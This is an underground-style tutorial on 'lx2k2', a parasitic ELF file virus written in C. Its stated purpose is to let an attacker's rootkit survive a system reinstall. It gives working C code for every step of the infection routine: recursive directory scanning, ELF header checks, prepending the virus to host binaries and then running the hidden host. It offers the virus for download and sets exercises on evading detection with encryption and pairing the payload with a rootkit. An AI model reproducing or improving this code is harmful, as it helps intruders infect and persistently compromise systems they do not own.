Simple ELF Parasitic UNIX Virus

Intro
This panel discussion is focused around ELF file infectors. This virus is based on the Silvio Cesare File Virus. It's infection technique is the same but it's spreading methods and functions have been changed. This virus is written in 100% C unlike other virus discussions that the AU has had in the past. This should lend the virus to be more easily analyzed and manipulated (becuase some poor people still don't know assembly)

The concept here is simple. If you drop a root kit and somebody re-installs the distro you have a good possiblity of loosing the root kit. If you drop the rootkit and execute a virus (perhaps one that is aware of the rootkit and vice versa) you can infect files that may come with the distro. This would allow for reinfection of a clean distro re-install.

The Parasitic ELF file infector - lx2k2

Outline of the virus structure
  1. Read ourselves into memory
  2. Determine our effective UID
  3. Scan directories for files to infect
  4. If a valid ELF file found infect with the following method
    1. Create a temporary file and write ourselves to it.
    2. Append the host file to our temporary file
    3. Append a magic number for identification to the end of the file
    4. Replace the original file with our temporary file
  5. Run payload if root
  6. Create a temporary file and save the appended host program to it
  7. Execute temp file
  8. Delete temp file
Detailed breakdown
We can read ourselves into memory by using the PARASITE_LENGTH constant. This constant need to be set to the size of the compiled virus. If you compile the virus via the create script it will automagically define this correctly for you. This line read in the virus section into a section of memory labeled virus.

if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;

Where fd is the file descriptor for ourself.

Next we scan directories via the scan_dir function. This function is meant to be used recursively (meaning it will call itself) This will enable the virus to scan down the entire directory tree if need be. If it finds a regular file it then opens it to see if it can infect it via the infect function.

First we read in the header of the file and check to see if it has the magic ELF syntax:

   if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;

   if(
        ehdr.e_ident[0] != ELFMAG0 ||
        ehdr.e_ident[1] != ELFMAG1 ||
        ehdr.e_ident[2] != ELFMAG2 ||
        ehdr.e_ident[3] != ELFMAG3
     ) return 1;

This basically just checks to see if the first four bytes are 0x75 ELF. It then checks some other sections of the ELF file to ensure this is indeed an executible and one for the achitecture that we are compiled from. ELF files can also be used as core files and we don't want to infect those.
   if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) return 1;
   if (ehdr.e_machine != EM_386) return 1;
   if (ehdr.e_version != EV_CURRENT) return 1;
The EM_386 line will need to be changed if you decide to compile this virus on a non-intel platform. The other values are defined in /usr/include/elf.h.

Next we check to see if our MAGIC number already is at the end of the file.
   if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
   if(tmagic == MAGIC) return 1;
This prevents us from re-infecting a file. Now we write ourselves to a temp file defined by TMPFILE_TEMPLATE. This needs to be a template file named defined by mkstemp(3) (basically just needs to end in 6 X's)
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   fd=mkstemp(tmpfile);
   if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
   if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
Next we read in our new host into memory named data. This gets appended to our temp file. Finally we append our magic number to the end of the temp file.
/* Write host to end of our temp file */
   if(write(fd,data, stat.st_size) != stat.st_size) return 1;
/* Write magic number to EOF */
   if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;
Now we set the permisions and ownerships on our temp file to match the original host and use the rename function to replace the real file with are temp file.
   if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
   if(fchmod(fd, stat.st_mode) < 0) return 1;
/* Rename tmp file overtop of original file */
   if(rename(tmpfile, filename) < 0) return 1;
We then increment our infections counter. We will only infect MAX_INFECT on each run to prevent the system from being bogged down.

After we are done infected MAX_INFECT number of files or there are no more files to infect we now need to run the program that is stuck on the end of ourselves. The length of the original file is the our filesize minus PARASITE_LENGTH

len = stat.st_size - PARASITE_LENGTH;

We then seek to the end of PARASITE_LENGTH and read in len bytes into memory called data1. Now we create a temp file to write the memory contents into and change it's permisions.
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   tmpfd = mkstemp(tmpfile);
   if(tmpfd <0) return 1;
   if (write(tmpfd, data1, len) != len) return 1;
   fchmod(tmpfd, stat.st_mode);
   free(data1);
   close(tmpfd);
Finally we fork off a process to execute the tempfile. When the process returns we delete the tempfile.
   pid = fork();
   if (pid <0) exit(1);
   if(pid ==0) exit(execve(tmpfile, argv, envp));
   if(waitpid(pid, NULL, 0) != pid) exit(1);
   unlink(tmpfile);
That's it!

Download virus
lx2k2 Virus

Scans
None performed yet

Excerices
  1. Write a better scanner / cleaner for lx2k2
  2. Modify lx2k2 to eliminate using strings or grep to locate the virus (perhaps with encryption)
  3. Add #ifdef Architecture checks to automagically change the EM_386 at compile time to the approprite system
  4. Write a better payload. perhaps one that directly communicates with a root kit like adore